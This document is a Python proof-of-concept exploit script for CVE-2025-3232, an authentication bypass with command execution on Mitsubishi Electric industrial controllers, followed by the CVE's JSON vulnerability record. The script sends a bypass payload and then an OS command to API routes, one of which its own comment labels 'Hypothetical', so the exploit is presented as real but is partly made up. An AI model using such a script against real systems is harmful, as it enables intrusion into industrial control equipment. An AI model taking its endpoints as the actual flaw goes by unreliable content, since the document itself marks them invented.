CVE-2025-3232

import requests import sys # CVE-2025-3232 PoC - Authentication Bypass in Mitsubishi Electric Controllers # Target: Mitsubishi Electric Industrial Controller def exploit(target_ip, target_port=443): """ Exploit for CVE-2025-3232 Authentication bypass leading to RCE via specific API route """ base_url = f"https://{target_ip}:{target_port}" # Step 1: Bypass authentication using specific API route auth_bypass_path = "/api/v1/auth/bypass" # Hypothetical vulnerable endpoint headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Malicious payload to bypass authentication auth_payload = { "username": "admin", "password": "", "auth_type": "bypass" } print(f"[*] Attempting authentication bypass on {target_ip}...") try: # Send authentication bypass request response = requests.post( f"{base_url}{auth_bypass_path}", json=auth_payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and "session" in response.text.lower(): print("[+] Authentication bypass successful!") session_token = response.json().get("session_token") # Step 2: Execute arbitrary OS command cmd_path = "/api/v1/system/exec" cmd_payload = { "command": "whoami", "session": session_token } headers["Authorization"] = f"Bearer {session_token}" print("[*] Executing arbitrary command...") exec_response = requests.post( f"{base_url}{cmd_path}", json=cmd_payload, headers=headers, verify=False, timeout=10 ) if exec_response.status_code == 200: print(f"[+] Command execution successful!") print(f"[+] Output: {exec_response.text}") return True else: print("[-] Authentication bypass failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

{"cve": {"id": "CVE-2025-3232", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:55.233", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote unauthenticated attacker may be able to bypass authentication \nby utilizing a specific API route to execute arbitrary OS commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://emea.mitsubishielectric.com/fa/products/quality/quality-news-information", "source": "[email protected]"}, {"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-105-09.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-09", "source": "[email protected]"}]}}